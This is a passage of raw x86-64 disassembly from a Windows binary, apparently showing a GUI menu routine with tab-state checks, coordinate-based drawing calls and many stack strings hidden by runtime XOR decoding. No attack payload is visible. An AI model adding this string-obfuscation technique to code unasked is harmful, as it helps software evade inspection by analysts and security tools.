call fcn.140043e50
test al, al
je 0x140056e29
mov dword [0x141718ff0], 0xc
movss xmm2, dword [0x14025d9b4]
lea rcx, [rbp + 0x410]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movss xmm2, dword [0x14025d8dc]
lea rcx, [rbp + 0x418]
movss xmm1, dword [0x14025d974]
call fcn.1400105e0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x14384f5df8c76e2d
mov qword [rbp + 0x10], rax
movabs rax, 0x47d9ea933363a267
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d00], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d08], rcx
movabs rcx, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d10], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d18], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d20], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d28], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1d00]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d30], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d38], rax
vmovdqu ymm0, ymmword [rbp + 0x1d20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d00]
vmovdqa ymmword [rbp + 0x1d00], ymm1
vzeroupper
call fcn.140043e50
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0xe60]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x420]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d960]
addss xmm1, dword [0x14025da00]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x428]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d900]
addss xmm1, dword [0x14025d9e4]
call fcn.1400105e0
movss xmm0, dword [0x14025d860]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14025d87c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
call fcn.140021b00
mov rdi, rax
xor eax, eax
movabs rdx, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cb40b3b
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe70], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe78], rcx
lea rcx, [rbp + 0xe90]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe80], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141719288]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe88], rax
movdqa xmm0, xmmword [rbp + 0xe80]
xorps xmm0, xmmword [rbp + 0xe70]
movdqa xmmword [rbp + 0xe70], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8f4]
lea rcx, [rbp + 0x430]
movss xmm1, dword [0x14025d9e4]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0xe70]
mov rdx, qword [0x141718fe0]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x142f5854e3db7b2c
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb6060a164
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xea0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xea8], rcx
lea rcx, [rbp + 0xec0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xeb0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xea0]
mov qword [rbp + 0xeb8], rax
xorps xmm0, xmmword [rbp + 0xeb0]
movdqa xmmword [rbp + 0xea0], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8f4]
lea rcx, [rbp + 0x438]
movss xmm1, dword [0x14025d9ec]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0xea0]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0xed0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x440]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d9e0]
addss xmm1, dword [0x14025da00]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x448]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d980]
addss xmm1, dword [0x14025d9e4]
call fcn.1400105e0
movss xmm0, dword [0x14025d860]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14025d87c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
movss xmm2, dword [0x14025d98c]
lea rcx, [rbp + 0x450]
movss xmm1, dword [0x14025d9e8]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
xor eax, eax
lea rdx, [0x141715d18]
mov byte [rbp], al
lea rcx, [rbp + 0xee0]
mov byte [rbp], al
movabs rdi, 0x345d3d328cb40b7f
mov byte [rbp], al
movabs rbx, 0x390bddb1307ce28
movabs rax, 0x677d5153e1c66431
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xee0], rax
movabs rax, 0x3f7d3b27568a158
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xee8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xef0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xee0]
mov qword [rbp + 0xef8], rax
xorps xmm0, xmmword [rbp + 0xef0]
movdqa xmmword [rbp + 0xee0], xmm0
call fcn.140044e10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b324d61acd76a32
mov qword [rbp + 0x10], rax
lea rdx, [0x141715d19]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0xf00]
mov qword [rbp + 0xf00], rax
movabs rax, 0x390bddb7469a74e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf08], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf10], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xf00]
mov qword [rbp + 0xf18], rax
xorps xmm0, xmmword [rbp + 0xf10]
movdqa xmmword [rbp + 0xf00], xmm0
call fcn.140044e10
call fcn.140025c40
cmp dword [0x141718ff0], 5
jne 0x140058184
mov rcx, qword [0x141718fc8]
call fcn.140021520
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xf20]
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d844]
lea rcx, [0x141719288]
mov esi, eax
call fcn.140013860
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xf30]
mov r8d, edx
mov edi, eax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d994]
lea rcx, [rbp + 0x458]
movaps xmm2, xmm15
mov ebx, eax
call fcn.1400105e0
mov r9d, edi
lea rcx, [rbp + 0xf40]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x14141d60acf12b2c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf40], rax
movabs rax, 0x390bd88334bee69
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf48], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf50], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xf40]
mov qword [rbp + 0xf58], rax
xorps xmm0, xmmword [rbp + 0xf50]
movdqa xmmword [rbp + 0xf40], xmm0
movss xmm0, dword [0x14025d7f0]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.1400454a0
call fcn.1400215c0
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xf60]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025da04]
lea rcx, [rbp + 0x460]
movss xmm1, dword [0x14025d918]
mov edi, eax
call fcn.1400105e0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x468]
call fcn.1400105e0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140032c50
movaps xmm2, xmm7
lea rcx, [rbp + 0x470]
movaps xmm1, xmm7
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
mov rcx, r14
call fcn.140021520
movaps xmm2, xmm15
lea rcx, [rbp + 0x478]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 3
lea rdx, [0x140259f9c]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140057631
mov dword [0x141718ff0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x480]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 4
lea rdx, [0x140259fa0]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x14005766c
mov dword [0x141718ff0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x488]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 5
lea rdx, [0x140259fa4]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x1400576a7
mov dword [0x141718ff0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x490]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 6
lea rdx, [0x140259fa8]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x1400576e2
mov dword [0x141718ff0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x498]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 7
lea rdx, [0x140259fac]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x14005771d
mov dword [0x141718ff0], 7
call fcn.1400215c0
call fcn.140025c40
call fcn.140021b00
mov rdi, rax
movabs rdx, 0x390bddb1307ce28
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cb40b3b
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf70], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf78], rcx
lea rcx, [rbp + 0xf90]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf80], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141719288]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xf70]
mov qword [rbp + 0xf88], rax
xorps xmm0, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0xf70], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d904]
lea rcx, [rbp + 0x4a0]
movss xmm1, dword [0x14025d980]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fe0]
lea rcx, [rbp + 0xf70]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b3f4f57e4c06432
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb2963bc49
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfa0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfa8], rcx
lea rcx, [rbp + 0xfc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfb0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xfa0]
mov qword [rbp + 0xfb8], rax
xorps xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0xfa0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d904]
mov ebx, eax
movss xmm1, dword [0x14025d990]
lea rcx, [rbp + 0x4a8]
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0xfa0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rcx, [0x1417190e8]
mov rsi, rax
call fcn.14003a680
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xfd0]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d904]
lea rcx, [rbp + 0x4b0]
movss xmm1, dword [0x14025d9d8]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0xfe0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x4b8]
movss xmm1, dword [0x14025d980]
mov ebx, eax
call fcn.1400105e0
xor esi, esi
lea rcx, [0x14025a014]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
movabs rdx, 0x390bddb1307ce28
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x34675057f8c7722c
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xff0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xff8], rcx
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x1010]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1000], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141719288]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1008], rax
movdqa xmm0, xmmword [rbp + 0x1000]
xorps xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0xff0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x4c0]
movss xmm1, dword [0x14025d990]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0xff0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rcx, [0x1417190c8]
mov rsi, rax
call fcn.14003a680
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1020]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x4c8]
movss xmm1, dword [0x14025d9bc]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0x1030]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d940]
lea rcx, [rbp + 0x4d0]
movss xmm1, dword [0x14025d980]
mov ebx, eax
call fcn.1400105e0
xor esi, esi
lea rcx, [0x14025a018]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b2e4e57efdb792f
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307f45a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1040], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1048], rcx
lea rcx, [rbp + 0x1060]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1050], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x1050]
xorps xmm0, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x1040], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d940]
lea rcx, [rbp + 0x4d8]
movss xmm1, dword [0x14025d990]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1040]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rcx, [0x1417190a8]
mov rsi, rax
call fcn.14003a680
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1070]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d940]
lea rcx, [rbp + 0x4e0]
movss xmm1, dword [0x14025d9c8]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
lea rcx, [rbp + 0x1080]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d954]
lea rcx, [rbp + 0x4e8]
movss xmm1, dword [0x14025d980]
mov ebx, eax
call fcn.1400105e0
xor esi, esi
lea rcx, [0x14025a01c]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
movabs rdx, 0x390bddb1307ce28
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d32b6f74a32
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1090], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1098], rcx
lea rcx, [rbp + 0x10b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10a0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141719288]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10a8], rax
movdqa xmm0, xmmword [rbp + 0x10a0]
xorps xmm0, xmmword [rbp + 0x1090]
movdqa xmmword [rbp + 0x1090], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d954]
lea rcx, [rbp + 0x4f0]
movss xmm1, dword [0x14025d990]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1090]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rcx, [0x141719080]
mov rsi, rax
call fcn.14003a680
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x10c0]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d954]
mov ebx, eax
movss xmm1, dword [0x14025d9a8]
lea rcx, [rbp + 0x4f8]
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0x10d0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d970]
lea rcx, [rbp + 0x500]
movss xmm1, dword [0x14025d980]
mov ebx, eax
call fcn.1400105e0
xor esi, esi
lea rcx, [0x14025a020]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
movabs rdx, 0x390bddb1307ce28
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d08e7c7623b
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10e0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10e8], rcx
lea rcx, [rbp + 0x1100]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10f0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141719288]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10f8], rax
movdqa xmm0, xmmword [rbp + 0x10f0]
xorps xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x10e0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d970]
lea rcx, [rbp + 0x508]
movss xmm1, dword [0x14025d990]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x10e0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rcx, [0x141719108]
mov rsi, rax
call fcn.14003a680
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1110]
mov r8d, edx
mov rdi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d970]
lea rcx, [rbp + 0x510]
movss xmm1, dword [0x14025d9a8]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
cmp dword [0x141718ff0], 6
jne 0x140058a25
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1120]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025da04]
lea rcx, [rbp + 0x518]
movss xmm1, dword [0x14025d918]
mov edi, eax
call fcn.1400105e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x520]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400105e0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140032c50
movaps xmm2, xmm7
lea rcx, [rbp + 0x528]
movaps xmm1, xmm7
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
mov rcx, r14
call fcn.140021520
movaps xmm2, xmm15
lea rcx, [rbp + 0x530]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 3
lea rdx, [0x140259f9c]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058277
mov dword [0x141718ff0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x538]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 4
lea rdx, [0x140259fa0]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x1400582b2
mov dword [0x141718ff0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x540]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 5
lea rdx, [0x140259fa4]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x1400582ed
mov dword [0x141718ff0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x548]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 6
lea rdx, [0x140259fa8]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140058328
mov dword [0x141718ff0], 6
movaps xmm2, xmm15
